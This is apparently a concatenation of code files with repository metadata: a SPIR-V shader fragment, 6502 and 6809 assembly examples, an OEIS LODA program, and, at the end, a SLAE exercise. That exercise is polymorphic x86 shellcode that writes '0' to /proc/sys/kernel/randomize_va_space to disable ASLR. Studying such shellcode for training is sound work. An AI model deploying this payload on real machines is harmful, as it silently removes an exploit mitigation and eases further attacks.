OpBranchConditional %170 %165 %166
%165 = OpLabel
OpStore %171 %17
OpBranch %172
%172 = OpLabel
OpLoopMerge %174 %175 None
OpBranch %176
%176 = OpLabel
%177 = OpLoad %14 %171
%178 = OpSLessThan %25 %177 %24
OpBranchConditional %178 %173 %174
%173 = OpLabel
OpStore %179 %17
OpBranch %180
%180 = OpLabel
OpLoopMerge %182 %183 None
OpBranch %184
%184 = OpLabel
%185 = OpLoad %14 %179
%186 = OpSLessThan %25 %185 %24
OpBranchConditional %186 %181 %182
%181 = OpLabel
OpStore %187 %17
OpBranch %188
%188 = OpLabel
OpLoopMerge %190 %191 None
OpBranch %192
%192 = OpLabel
%193 = OpLoad %14 %187
%194 = OpSLessThan %25 %193 %24
OpBranchConditional %194 %189 %190
%189 = OpLabel
OpStore %195 %17
OpBranch %196
%196 = OpLabel
OpLoopMerge %198 %199 None
OpBranch %200
%200 = OpLabel
%201 = OpLoad %14 %195
%202 = OpSLessThan %25 %201 %24
OpBranchConditional %202 %197 %198
%197 = OpLabel
OpStore %203 %17
OpBranch %204
%204 = OpLabel
OpLoopMerge %206 %207 None
OpBranch %208
%208 = OpLabel
%209 = OpLoad %14 %203
%210 = OpSLessThan %25 %209 %24
OpBranchConditional %210 %205 %206
%205 = OpLabel
OpStore %211 %17
OpBranch %212
%212 = OpLabel
OpLoopMerge %214 %215 None
OpBranch %216
%216 = OpLabel
%217 = OpLoad %14 %211
%218 = OpSLessThan %25 %217 %24
OpBranchConditional %218 %213 %214
%213 = OpLabel
OpStore %219 %17
OpBranch %220
%220 = OpLabel
OpLoopMerge %222 %223 None
OpBranch %224
%224 = OpLabel
%225 = OpLoad %14 %219
%226 = OpSLessThan %25 %225 %24
OpBranchConditional %226 %221 %222
%221 = OpLabel
OpStore %227 %17
OpBranch %228
%228 = OpLabel
OpLoopMerge %230 %231 None
OpBranch %232
%232 = OpLabel
%233 = OpLoad %14 %227
%234 = OpSLessThan %25 %233 %24
OpBranchConditional %234 %229 %230
%229 = OpLabel
OpStore %235 %17
OpBranch %236
%236 = OpLabel
OpLoopMerge %238 %239 None
OpBranch %240
%240 = OpLabel
%241 = OpLoad %14 %235
%242 = OpSLessThan %25 %241 %24
OpBranchConditional %242 %237 %238
%237 = OpLabel
OpStore %243 %17
OpBranch %244
%244 = OpLabel
OpLoopMerge %246 %247 None
OpBranch %248
%248 = OpLabel
%249 = OpLoad %14 %243
%250 = OpSLessThan %25 %249 %24
OpBranchConditional %250 %245 %246
%245 = OpLabel
OpStore %251 %17
OpBranch %252
%252 = OpLabel
OpLoopMerge %254 %255 None
OpBranch %256
%256 = OpLabel
%257 = OpLoad %14 %251
%258 = OpSLessThan %25 %257 %24
OpBranchConditional %258 %253 %254
%253 = OpLabel
OpStore %259 %17
OpBranch %260
%260 = OpLabel
OpLoopMerge %262 %263 None
OpBranch %264
%264 = OpLabel
%265 = OpLoad %14 %259
%266 = OpSLessThan %25 %265 %24
OpBranchConditional %266 %261 %262
%261 = OpLabel
OpStore %267 %17
OpBranch %268
%268 = OpLabel
OpLoopMerge %270 %271 None
OpBranch %272
%272 = OpLabel
%273 = OpLoad %14 %267
%274 = OpSLessThan %25 %273 %24
OpBranchConditional %274 %269 %270
%269 = OpLabel
OpStore %275 %17
OpBranch %276
%276 = OpLabel
OpLoopMerge %278 %279 None
OpBranch %280
%280 = OpLabel
%281 = OpLoad %14 %275
%282 = OpSLessThan %25 %281 %24
OpBranchConditional %282 %277 %278
%277 = OpLabel
OpStore %283 %17
OpBranch %284
%284 = OpLabel
OpLoopMerge %286 %287 None
OpBranch %288
%288 = OpLabel
%289 = OpLoad %14 %283
%290 = OpSLessThan %25 %289 %24
OpBranchConditional %290 %285 %286
%285 = OpLabel
OpStore %291 %17
OpBranch %292
%292 = OpLabel
OpLoopMerge %294 %295 None
OpBranch %296
%296 = OpLabel
%297 = OpLoad %14 %291
%298 = OpSLessThan %25 %297 %24
OpBranchConditional %298 %293 %294
%293 = OpLabel
OpStore %299 %17
OpBranch %300
%300 = OpLabel
OpLoopMerge %302 %303 None
OpBranch %304
%304 = OpLabel
%305 = OpLoad %14 %299
%306 = OpSLessThan %25 %305 %24
OpBranchConditional %306 %301 %302
%301 = OpLabel
OpStore %307 %17
OpBranch %308
%308 = OpLabel
OpLoopMerge %310 %311 None
OpBranch %312
%312 = OpLabel
%313 = OpLoad %14 %307
%314 = OpSLessThan %25 %313 %24
OpBranchConditional %314 %309 %310
%309 = OpLabel
OpStore %315 %17
OpBranch %316
%316 = OpLabel
OpLoopMerge %318 %319 None
OpBranch %320
%320 = OpLabel
%321 = OpLoad %14 %315
%322 = OpSLessThan %25 %321 %24
OpBranchConditional %322 %317 %318
%317 = OpLabel
OpStore %323 %17
OpBranch %324
%324 = OpLabel
OpLoopMerge %326 %327 None
OpBranch %328
%328 = OpLabel
%329 = OpLoad %14 %323
%330 = OpSLessThan %25 %329 %24
OpBranchConditional %330 %325 %326
%325 = OpLabel
OpStore %331 %17
OpBranch %332
%332 = OpLabel
OpLoopMerge %334 %335 None
OpBranch %336
%336 = OpLabel
%337 = OpLoad %14 %331
%338 = OpSLessThan %25 %337 %24
OpBranchConditional %338 %333 %334
%333 = OpLabel
OpStore %339 %17
OpBranch %340
%340 = OpLabel
OpLoopMerge %342 %343 None
OpBranch %344
%344 = OpLabel
%345 = OpLoad %14 %339
%346 = OpSLessThan %25 %345 %24
OpBranchConditional %346 %341 %342
%341 = OpLabel
OpStore %347 %17
OpBranch %348
%348 = OpLabel
OpLoopMerge %350 %351 None
OpBranch %352
%352 = OpLabel
%353 = OpLoad %14 %347
%354 = OpSLessThan %25 %353 %24
OpBranchConditional %354 %349 %350
%349 = OpLabel
OpStore %355 %17
OpBranch %356
%356 = OpLabel
OpLoopMerge %358 %359 None
OpBranch %360
%360 = OpLabel
%361 = OpLoad %14 %355
%362 = OpSLessThan %25 %361 %24
OpBranchConditional %362 %357 %358
%357 = OpLabel
OpStore %363 %17
OpBranch %364
%364 = OpLabel
OpLoopMerge %366 %367 None
OpBranch %368
%368 = OpLabel
%369 = OpLoad %14 %363
%370 = OpSLessThan %25 %369 %24
OpBranchConditional %370 %365 %366
%365 = OpLabel
%376 = OpAccessChain %375 %373 %17
%377 = OpLoad %6 %376
OpStore %374 %377
%378 = OpFunctionCall %6 %10 %374
OpStore %146 %378
OpBranch %367
%367 = OpLabel
%379 = OpLoad %14 %363
%380 = OpIAdd %14 %379 %24
OpStore %363 %380
OpBranch %364
%366 = OpLabel
OpBranch %359
%359 = OpLabel
%381 = OpLoad %14 %355
%382 = OpIAdd %14 %381 %24
OpStore %355 %382
OpBranch %356
%358 = OpLabel
OpBranch %351
%351 = OpLabel
%383 = OpLoad %14 %347
%384 = OpIAdd %14 %383 %24
OpStore %347 %384
OpBranch %348
%350 = OpLabel
OpBranch %343
%343 = OpLabel
%385 = OpLoad %14 %339
%386 = OpIAdd %14 %385 %24
OpStore %339 %386
OpBranch %340
%342 = OpLabel
OpBranch %335
%335 = OpLabel
%387 = OpLoad %14 %331
%388 = OpIAdd %14 %387 %24
OpStore %331 %388
OpBranch %332
%334 = OpLabel
OpBranch %327
%327 = OpLabel
%389 = OpLoad %14 %323
%390 = OpIAdd %14 %389 %24
OpStore %323 %390
OpBranch %324
%326 = OpLabel
OpBranch %319
%319 = OpLabel
%391 = OpLoad %14 %315
%392 = OpIAdd %14 %391 %24
OpStore %315 %392
OpBranch %316
%318 = OpLabel
OpBranch %311
%311 = OpLabel
%393 = OpLoad %14 %307
%394 = OpIAdd %14 %393 %24
OpStore %307 %394
OpBranch %308
%310 = OpLabel
OpBranch %303
%303 = OpLabel
%395 = OpLoad %14 %299
%396 = OpIAdd %14 %395 %24
OpStore %299 %396
OpBranch %300
%302 = OpLabel
OpBranch %295
%295 = OpLabel
%397 = OpLoad %14 %291
%398 = OpIAdd %14 %397 %24
OpStore %291 %398
OpBranch %292
%294 = OpLabel
OpBranch %287
%287 = OpLabel
%399 = OpLoad %14 %283
%400 = OpIAdd %14 %399 %24
OpStore %283 %400
OpBranch %284
%286 = OpLabel
OpBranch %279
%279 = OpLabel
%401 = OpLoad %14 %275
%402 = OpIAdd %14 %401 %24
OpStore %275 %402
OpBranch %276
%278 = OpLabel
OpBranch %271
%271 = OpLabel
%403 = OpLoad %14 %267
%404 = OpIAdd %14 %403 %24
OpStore %267 %404
OpBranch %268
%270 = OpLabel
OpBranch %263
%263 = OpLabel
%405 = OpLoad %14 %259
%406 = OpIAdd %14 %405 %24
OpStore %259 %406
OpBranch %260
%262 = OpLabel
OpBranch %255
%255 = OpLabel
%407 = OpLoad %14 %251
%408 = OpIAdd %14 %407 %24
OpStore %251 %408
OpBranch %252
%254 = OpLabel
OpBranch %247
%247 = OpLabel
%409 = OpLoad %14 %243
%410 = OpIAdd %14 %409 %24
OpStore %243 %410
OpBranch %244
%246 = OpLabel
OpBranch %239
%239 = OpLabel
%411 = OpLoad %14 %235
%412 = OpIAdd %14 %411 %24
OpStore %235 %412
OpBranch %236
%238 = OpLabel
OpBranch %231
%231 = OpLabel
%413 = OpLoad %14 %227
%414 = OpIAdd %14 %413 %24
OpStore %227 %414
OpBranch %228
%230 = OpLabel
OpBranch %223
%223 = OpLabel
%415 = OpLoad %14 %219
%416 = OpIAdd %14 %415 %24
OpStore %219 %416
OpBranch %220
%222 = OpLabel
OpBranch %215
%215 = OpLabel
%417 = OpLoad %14 %211
%418 = OpIAdd %14 %417 %24
OpStore %211 %418
OpBranch %212
%214 = OpLabel
OpBranch %207
%207 = OpLabel
%419 = OpLoad %14 %203
%420 = OpIAdd %14 %419 %24
OpStore %203 %420
OpBranch %204
%206 = OpLabel
OpBranch %199
%199 = OpLabel
%421 = OpLoad %14 %195
%422 = OpIAdd %14 %421 %24
OpStore %195 %422
OpBranch %196
%198 = OpLabel
OpBranch %191
%191 = OpLabel
%423 = OpLoad %14 %187
%424 = OpIAdd %14 %423 %24
OpStore %187 %424
OpBranch %188
%190 = OpLabel
OpBranch %183
%183 = OpLabel
%425 = OpLoad %14 %179
%426 = OpIAdd %14 %425 %24
OpStore %179 %426
OpBranch %180
%182 = OpLabel
OpBranch %175
%175 = OpLabel
%427 = OpLoad %14 %171
%428 = OpIAdd %14 %427 %24
OpStore %171 %428
OpBranch %172
%174 = OpLabel
OpBranch %167
%167 = OpLabel
%429 = OpLoad %14 %163
%430 = OpIAdd %14 %429 %24
OpStore %163 %430
OpBranch %164
%166 = OpLabel
OpBranch %159
%159 = OpLabel
%431 = OpLoad %14 %155
%432 = OpIAdd %14 %431 %24
OpStore %155 %432
OpBranch %156
%158 = OpLabel
OpBranch %151
%151 = OpLabel
%433 = OpLoad %14 %147
%434 = OpIAdd %14 %433 %24
OpStore %147 %434
OpBranch %148
%150 = OpLabel
%435 = OpLoad %6 %146
%436 = OpFOrdEqual %25 %435 %13
OpSelectionMerge %438 None
OpBranchConditional %436 %437 %443
%437 = OpLabel
OpStore %441 %442
OpBranch %438
%443 = OpLabel
OpStore %441 %444
OpBranch %438
%438 = OpLabel
OpReturn
OpFunctionEnd
%10 = OpFunction %6 None %8
%9 = OpFunctionParameter %7
%11 = OpLabel
%12 = OpVariable %7 Function
%16 = OpVariable %15 Function
%27 = OpVariable %15 Function
%35 = OpVariable %15 Function
%43 = OpVariable %15 Function
%51 = OpVariable %15 Function
%65 = OpVariable %15 Function
%73 = OpVariable %15 Function
%81 = OpVariable %15 Function
%89 = OpVariable %15 Function
%97 = OpVariable %15 Function
%105 = OpVariable %15 Function
OpStore %12 %13
OpStore %16 %17
OpBranch %18
%18 = OpLabel
OpLoopMerge %20 %21 None
OpBranch %22
%22 = OpLabel
%23 = OpLoad %14 %16
%26 = OpSLessThan %25 %23 %24
OpBranchConditional %26 %19 %20
%19 = OpLabel
OpStore %27 %17
OpBranch %28
%28 = OpLabel
OpLoopMerge %30 %31 None
OpBranch %32
%32 = OpLabel
%33 = OpLoad %14 %27
%34 = OpSLessThan %25 %33 %24
OpBranchConditional %34 %29 %30
%29 = OpLabel
OpStore %35 %17
OpBranch %36
%36 = OpLabel
OpLoopMerge %38 %39 None
OpBranch %40
%40 = OpLabel
%41 = OpLoad %14 %35
%42 = OpSLessThan %25 %41 %24
OpBranchConditional %42 %37 %38
%37 = OpLabel
OpStore %43 %17
OpBranch %44
%44 = OpLabel
OpLoopMerge %46 %47 None
OpBranch %48
%48 = OpLabel
%49 = OpLoad %14 %43
%50 = OpSLessThan %25 %49 %24
OpBranchConditional %50 %45 %46
%45 = OpLabel
OpStore %51 %17
OpBranch %52
%52 = OpLabel
OpLoopMerge %54 %55 None
OpBranch %56
%56 = OpLabel
%57 = OpLoad %14 %51
%58 = OpSLessThan %25 %57 %24
OpBranchConditional %58 %53 %54
%53 = OpLabel
%59 = OpLoad %6 %9
%60 = OpFMod %6 %13 %59
%62 = OpFOrdLessThan %25 %60 %61
OpSelectionMerge %64 None
OpBranchConditional %62 %63 %64
%63 = OpLabel
OpStore %65 %17
OpBranch %66
%66 = OpLabel
OpLoopMerge %68 %69 None
OpBranch %70
%70 = OpLabel
%71 = OpLoad %14 %65
%72 = OpSLessThan %25 %71 %24
OpBranchConditional %72 %67 %68
%67 = OpLabel
OpStore %73 %17
OpBranch %74
%74 = OpLabel
OpLoopMerge %76 %77 None
OpBranch %78
%78 = OpLabel
%79 = OpLoad %14 %73
%80 = OpSLessThan %25 %79 %24
OpBranchConditional %80 %75 %76
%75 = OpLabel
OpStore %81 %17
OpBranch %82
%82 = OpLabel
OpLoopMerge %84 %85 None
OpBranch %86
%86 = OpLabel
%87 = OpLoad %14 %81
%88 = OpSLessThan %25 %87 %24
OpBranchConditional %88 %83 %84
%83 = OpLabel
OpStore %89 %17
OpBranch %90
%90 = OpLabel
OpLoopMerge %92 %93 None
OpBranch %94
%94 = OpLabel
%95 = OpLoad %14 %89
%96 = OpSLessThan %25 %95 %24
OpBranchConditional %96 %91 %92
%91 = OpLabel
OpStore %97 %17
OpBranch %98
%98 = OpLabel
OpLoopMerge %100 %101 None
OpBranch %102
%102 = OpLabel
%103 = OpLoad %14 %97
%104 = OpSLessThan %25 %103 %24
OpBranchConditional %104 %99 %100
%99 = OpLabel
OpStore %105 %17
OpBranch %106
%106 = OpLabel
OpLoopMerge %108 %109 None
OpBranch %110
%110 = OpLabel
%111 = OpLoad %14 %105
%112 = OpSLessThan %25 %111 %24
OpBranchConditional %112 %107 %108
%107 = OpLabel
%113 = OpLoad %6 %12
%114 = OpFAdd %6 %113 %13
OpStore %12 %114
OpBranch %109
%109 = OpLabel
%115 = OpLoad %14 %105
%116 = OpIAdd %14 %115 %24
OpStore %105 %116
OpBranch %106
%108 = OpLabel
OpBranch %101
%101 = OpLabel
%117 = OpLoad %14 %97
%118 = OpIAdd %14 %117 %24
OpStore %97 %118
OpBranch %98
%100 = OpLabel
OpBranch %93
%93 = OpLabel
%119 = OpLoad %14 %89
%120 = OpIAdd %14 %119 %24
OpStore %89 %120
OpBranch %90
%92 = OpLabel
OpBranch %85
%85 = OpLabel
%121 = OpLoad %14 %81
%122 = OpIAdd %14 %121 %24
OpStore %81 %122
OpBranch %82
%84 = OpLabel
OpBranch %77
%77 = OpLabel
%123 = OpLoad %14 %73
%124 = OpIAdd %14 %123 %24
OpStore %73 %124
OpBranch %74
%76 = OpLabel
OpBranch %69
%69 = OpLabel
%125 = OpLoad %14 %65
%126 = OpIAdd %14 %125 %24
OpStore %65 %126
OpBranch %66
%68 = OpLabel
OpBranch %64
%64 = OpLabel
%127 = OpLoad %6 %9
%128 = OpFOrdGreaterThan %25 %127 %13
OpSelectionMerge %130 None
OpBranchConditional %128 %129 %130
%129 = OpLabel
%131 = OpLoad %6 %12
OpReturnValue %131
%130 = OpLabel
OpBranch %55
%55 = OpLabel
%133 = OpLoad %14 %51
%134 = OpIAdd %14 %133 %24
OpStore %51 %134
OpBranch %52
%54 = OpLabel
OpBranch %47
%47 = OpLabel
%135 = OpLoad %14 %43
%136 = OpIAdd %14 %135 %24
OpStore %43 %136
OpBranch %44
%46 = OpLabel
OpBranch %39
%39 = OpLabel
%137 = OpLoad %14 %35
%138 = OpIAdd %14 %137 %24
OpStore %35 %138
OpBranch %36
%38 = OpLabel
OpBranch %31
%31 = OpLabel
%139 = OpLoad %14 %27
%140 = OpIAdd %14 %139 %24
OpStore %27 %140
OpBranch %28
%30 = OpLabel
OpBranch %21
%21 = OpLabel
%141 = OpLoad %14 %16
%142 = OpIAdd %14 %141 %24
OpStore %16 %142
OpBranch %18
%20 = OpLabel
OpReturnValue %143
OpFunctionEnd
| 31.457587 | 55 | 0.446829 |
1407b2b33bd1eac87b00a8df5958e71bbbef7082 | 227 | asm | Assembly | examples/loop.asm | rdeioris/impostor | 5b37e303a9393103dce5a7d6fc58528242318df9 | [
"MIT"
] | 2 | 2018-09-12T21:53:22.000Z | 2019-06-19T22:47:34.000Z | examples/loop.asm | rdeioris/impostor | 5b37e303a9393103dce5a7d6fc58528242318df9 | [
"MIT"
] | null | null | null | examples/loop.asm | rdeioris/impostor | 5b37e303a9393103dce5a7d6fc58528242318df9 | [
"MIT"
] | 1 | 2018-10-25T10:31:39.000Z | 2018-10-25T10:31:39.000Z | .ORG $C000
; check overflow
LDX #$00;
DEX
CLI ; enable IRQ
; activate timer
LDA #$ef
STA $b000
loop:
JMP loop
nmi:
RTI
reset:
RTI
irq:
RTI
.SEGMENT "VECTORS"
.WORD nmi ; $fffa
.WORD reset ; $fffc
.WORD irq ; $fffe
| 7.566667 | 19 | 0.638767 |
5daad21a235c6018522038e28638b098dd0faad6 | 8,483 | asm | Assembly | ugbc/src/hw/ef936x/plot.asm | spotlessmind1975/ugbasic | 1df3c8fde8e80b479ece86b4ff2b97b599d57ff4 | [
"Apache-2.0"
] | 10 | 2021-10-03T13:44:25.000Z | 2022-03-10T23:53:32.000Z | ugbc/src/hw/ef936x/plot.asm | spotlessmind1975/ugbasic | 1df3c8fde8e80b479ece86b4ff2b97b599d57ff4 | [
"Apache-2.0"
] | 379 | 2021-08-12T09:46:09.000Z | 2022-03-27T11:29:12.000Z | ugbc/src/hw/ef936x/plot.asm | spotlessmind1975/ugbasic | 1df3c8fde8e80b479ece86b4ff2b97b599d57ff4 | [
"Apache-2.0"
] | 2 | 2021-11-08T19:37:50.000Z | 2021-11-20T22:27:12.000Z | ; /*****************************************************************************
; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers *
; *****************************************************************************
; * Copyright 2021-2022 Marco Spedaletti (asimov@mclink.it)
; *
; * Licensed under the Apache License, Version 2.0 (the "License");
; * you may not use this file except in compliance with the License.
; * You may obtain a copy of the License at
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Unless required by applicable law or agreed to in writing, software
; * distributed under the License is distributed on an "AS IS" BASIS,
; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; * See the License for the specific language governing permissions and
; * limitations under the License.
; *----------------------------------------------------------------------------
; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0
; * (la "Licenza"); è proibito usare questo file se non in conformità alla
; * Licenza. Una copia della Licenza è disponibile all'indirizzo:
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Se non richiesto dalla legislazione vigente o concordato per iscritto,
; * il software distribuito nei termini della Licenza è distribuito
; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o
; * implicite. Consultare la Licenza per il testo specifico che regola le
; * autorizzazioni e le limitazioni previste dalla medesima.
; ****************************************************************************/
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
;* *
;* PLOT ROUTINE FOR EF936X *
;* *
;* by Marco Spedaletti *
;* mc6809 optimization by Samuel Devulder *
;* *
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
PLOTX EQU $41 ; $42
PLOTY EQU $43
PLOTM EQU $45
PLOTOMA EQU $46
PLOTAMA EQU $47
;--------------
PLOTP
RTS
; input X=X coord, U=Y coord, A=(0 = erase, 1 = set, 2 = get pixel, 3 = get color)
; output B result if A=2 or 3
PLOT
CMPX CLIPX2
BGT PLOTP
CMPX CLIPX1 ; check if plotting out of clipped area
BLT PLOTP ; yes => return
CMPU CLIPY2
BGT PLOTP
CMPU CLIPY1
BLT PLOTP
STX <PLOTX
STU <PLOTY
STA <PLOTM
LDB <PLOTY+1
LDA #40
MUL ; no => compute video adress
ADDD BITMAPADDRESS ; 7
TFR D,X ; 6
LDU #$A7C0 ; that adress is handy
PLOTMODE
LDA CURRENTMODE
CMPA #3 ; mode 3 ?
BNE PLOT0 ; no => goto common adress decoding
PLOT3 ; yes
LDA ,U
ORA #1 ; prepare A for plane 1
LDB <PLOTX+1
LSRB
LSRB ; carry = bit2
ABX ; adjust for X position
SBCA #0 ; chose plane 0/1 according bit 2 of X coordinate
STA ,U ; select proper plane
BRA PLOTCOMMON
PLOTD ; plot draw (placed here to keep the jump small)
LDA CURRENTMODE
CMPA #2
BEQ PLOTD2 ; plot in mode 2
CMPA #3
BEQ PLOTD3 ; plot in mode 3
PLOTD0
PLOTD1
PLOTD4
LDA _PEN ; other modes - asked color
EORA ,X ; compare with bg colo
ANDA #$0F
BEQ PLOTE ; equal ? yes ==> erase pixel
LDA _PEN ; no ==> regular plot
LSLA
LSLA
LSLA
LSLA
STA PLOTD4x+1 ; prepare paper colo
LDA ,X ; get color pair
ANDA #$0F ; clear paper color
PLOTD4x
ORA #0 ; add current paper color
STA ,X ; set color
;---------
;set point
;---------
INC ,U ; form plane
LDA ,X ; get byte
ORA ,Y ; set bit
STA ,X ; write back to video memory
RTS ; done
;-----------
;erase point
;-----------
PLOTE
INC ,U ; form plane
LDA ,X ; get bit mask
ANDA 8,Y ; clear bit
STA ,X ; write back to video memory
RTS ; done
PLOT0
PLOT1
PLOT2
PLOT4
LDD <PLOTX ; common adress calculation for modes
LSRA ; 0/1/2/4
RORB
LSRB
LSRB ; B = PLOTX/8
ABX ; adjust for X position
LDY #PLOTORBIT
LDB <(PLOTX+1)
ANDB #$07
LEAY B,Y ; Y point to "OR" bitmask, Y+8 to "AND" bitmask
LDB ,U ; select color plane
ANDB #254
STB ,U
PLOTCOMMON
;----------------------------------------------
;depending on PLOTM, routine draws or erases
;----------------------------------------------
LDA <PLOTM ; (0 = erase, 1 = set, 2 = get pixel, 3 = get color)
BEQ PLOTE
DECA
BEQ PLOTD ; if = 1 then branch to draw the point
DECA
BEQ PLOTG ; if = 2 then branch to get the point (0/1)
DECA
BEQ PLOTC ; if = 3 then branch to get the color index (0...15)
RTS
PLOTD2 ; Draw point with mode 2 (we are in plane0)
LDA ,X ; get row with point in it
LDB _PEN
LSRB ; b0 of PEN set ?
BCC PLOTD21 ; no => clear bit
ORA ,Y ; yes => set bit
BRA PLOTD22
PLOTD21
ANDA 8,Y
PLOTD22
STA ,X ; write back to video memory
INC ,U ; plane 1
LDA ,X ; get mask with point in it
LSRB ; b1 of PEN set ?
BCC PLOTD24 ; no => clear BIT
ORA ,Y ; yes => set BIT
BRA PLOTD25
PLOTD24
ANDA 8,Y
PLOTD25
STA ,X ; write back to video memory
RTS ; done
PLOTD3
LDA _PEN ; Draw point in mode 3
ANDA #$0F ; isolate color
LDB <(PLOTX+1)
LSRB ; odd column ?
BCS PLOTD3LO ; yes => set low nibble
PLOTD3HI
ASLA ; no => set high nibble
ASLA
ASLA
ASLA
STA PLOTD3nibble+1
LDA ,X
ANDA #$0F
PLOTD3nibble
ORA #$55
STA ,X
RTS ; done
PLOTD3LO
STA PLOTD3nibble+1
LDA ,X
ANDA #$F0
BRA PLOTD3nibble
PLOTG ; get point $00=unset $ff=set
LDA CURRENTMODE
CMPA #2
BEQ PLOTG2
CMPA #3
BEQ PLOTG3
INC ,U ; plane 1
LDB ,X ; get row with point in it
ANDB ,Y ; bit set ?
PLOTG0
BEQ PLOTG1 ; no => return 0
LDB #$FF ; yes => return true
PLOTG1
; STB <PLOTM
RTS
PLOTG2
PLOTG3
BSR PLOTC ; get current color
EORB _PAPER ; same as paper ?
ANDB #$0F ; yes => return 0
BRA PLOTG0 ; no => return true
; Get pixel color according to video mode
PLOTC
LDA CURRENTMODE
CMPA #2
BEQ PLOT2C ; mode 2 specific
CMPA #3
BEQ PLOT3C ; mode 3 specific
PLOT0C
PLOT1C
PLOT4C ; modes 0/1/4
LDB ,X ; get color byte
INC ,U ; bitmask plane
LDA ,X ; get pixels byte
ANDA ,Y ; bit set ?
BEQ PLOTC01 ; no => get lowwer nibble
PLOTC00
LSRB ; yes => get upper nibble
LSRB
LSRB
LSRB
PLOTC01
ANDB #15 ; result in B
; STB <PLOTM
RTS
PLOT2C
CLRB ; mode 2 - clear all bits
LDA ,X ; get bitmask at plane0
ANDA ,Y ; point set ?
BEQ PLOT2C0 ; no => skip
INCB ; yes => set b0
PLOT2C0
INC ,U ; bit plane 1
LDA ,X ; get bitmask
ANDA ,Y ; point set ?
BEQ PLOT2C1 ; no => skip
ORB #2 ; yes => set b1
PLOT2C1
; STB <PLOTM
RTS ; result in B
PLOT3C
LDB ,X ; mode 3 - get color pair
LDA <PLOTX+1
LSRA
BCS PLOTC01 ; odd column => lower nibble
BRA PLOTC00 ; even column => upper nibble
;----------------------------------------------------------------
PLOTORBIT
fcb %10000000
fcb %01000000
fcb %00100000
fcb %00010000
fcb %00001000
fcb %00000100
fcb %00000010
fcb %00000001
PLOTANDBIT
fcb %01111111
fcb %10111111
fcb %11011111
fcb %11101111
fcb %11110111
fcb %11111011
fcb %11111101
fcb %11111110
| 26.760252 | 82 | 0.491336 |
01a9f753370781dddaceb0cce434f287b2629502 | 985 | asm | Assembly | programs/oeis/151/A151923.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/151/A151923.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/151/A151923.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A151923: A079316(2n+1).
; 3,7,11,21,25,35,45,73,77,87,97,125,135,163,191,273,277,287,297,325,335,363,391,473,483,511,539,621,649,731
mov $20,$0
mov $22,$0
add $22,1
lpb $22
mov $0,$20
sub $22,1
sub $0,$22
mov $16,$0
mov $18,2
lpb $18
clr $0,16
mov $0,$16
sub $18,1
add $0,$18
sub $0,1
mov $13,$0
mov $15,$0
lpb $15
mov $0,$13
sub $15,1
sub $0,$15
mov $10,$0
mov $12,$0
lpb $12
mov $1,1
mul $1,$10
mov $4,$10
sub $12,1
lpb $2
lpb $4
div $1,2
sub $4,$1
lpe
mov $0,$4
sub $2,1
lpe
mov $2,3
mov $4,3
pow $4,$0
lpe
add $14,$4
lpe
mov $1,$14
mov $19,$18
lpb $19
mov $17,$1
sub $19,1
lpe
lpe
lpb $16
mov $16,0
sub $17,$1
lpe
mov $1,$17
div $1,2
add $1,1
add $21,$1
lpe
mov $1,$21
sub $1,1
mul $1,2
add $1,3
| 14.924242 | 108 | 0.425381 |
3bb85d41d464739e5305650216c3987c143a97d9 | 2,581 | nasm | Assembly | SLAE_assignments/assignment6/desactivate_ASLR_poly.nasm | RomainLanglois/SLAE_x86 | e5620b74499c53a25f6d0537f9a86fbbd4c335d1 | [
"MIT"
] | null | null | null | SLAE_assignments/assignment6/desactivate_ASLR_poly.nasm | RomainLanglois/SLAE_x86 | e5620b74499c53a25f6d0537f9a86fbbd4c335d1 | [
"MIT"
] | null | null | null | SLAE_assignments/assignment6/desactivate_ASLR_poly.nasm | RomainLanglois/SLAE_x86 | e5620b74499c53a25f6d0537f9a86fbbd4c335d1 | [
"MIT"
] | null | null | null | ;Shellcode size : 123 bytes (+48%)
global _start
_start:
xor ecx, ecx ;Initialize eax to NULL
jmp _useless ;Jump to some useless code, because why not
_goback:
push ecx ;Push NULL on the stack
push 0x65636170
push 0x735f6176
push 0x5f657a69
mov esi, 0x7C4D572A ;Move 0x7C4D572A inside esi
xor esi, 0x11223344 ;XOR esi with 0x11223344
push esi ;Push 0x6D6F646E on the stack
push 0x61722f6c
push 0x656e7265
push 0x6b2f7379
push 0x732f636f
push 0x72702f2f
mov ebx, esp ;Initialize ebx to "//proc/sys/kernel/randomize_va_space%00"
mov cx, 0x1ab
add cx, 0x111 ;Move 0x2bc on the stack which is 700 in decimal
;700 means the file is opened with READ, WRITE, EXECUTE flags (S_IRWXU).
push 10
pop eax
dec eax
dec eax ;Initialize al to the systemcall number of "open"
;Systemcall details:
; --> fd = open("//proc/sys/kernel/randomize_va_space%00", S_IRWXU)
int 0x80 ;Execute systemcall
mov esi, eax
push esi
pop ebx ;Move the return value of "open" which is the file descriptor inside ebx
push eax ;Push the file descriptor on the stack
mov dx, 0x3a30 ;Move 0x3a30 into edx
push dx ;push 0x3a30 on the stack
mov ecx, esp ;Initialize ecx to stack pointer esp
push 0x1
pop edx ;Initialize edx to 1
mov al, 0x4 ;Initialize al to the systemcall number of "write"
;Systemcall details:
; --> write(3, "0", 1)
int 0x80 ;Execute systemcall
mov al, 0x3c
sub al, 0x36 ;Initialize al to the systemcall number of "close"
;Systemcall details:
; --> close(3)
int 0x80 ;Execute systemcall
xor eax, eax ;Initialize al to the systemcall number of "exit"
push eax
pop ebx ;Initiliaze ebx to NULL
inc eax
;Systemcall details:
; --> exit(0)
int 0x80 ;Execute systemcall
_useless:
mov edi, 0xbadc0ff3 ;Initialize edi to 0x1badc0ff3
nop ;A nop instruction
push edi ;Push edi on the stack
mov cl, 10 ;Mov 10 inside cl
_return:
loop _return ;Loop 10 times
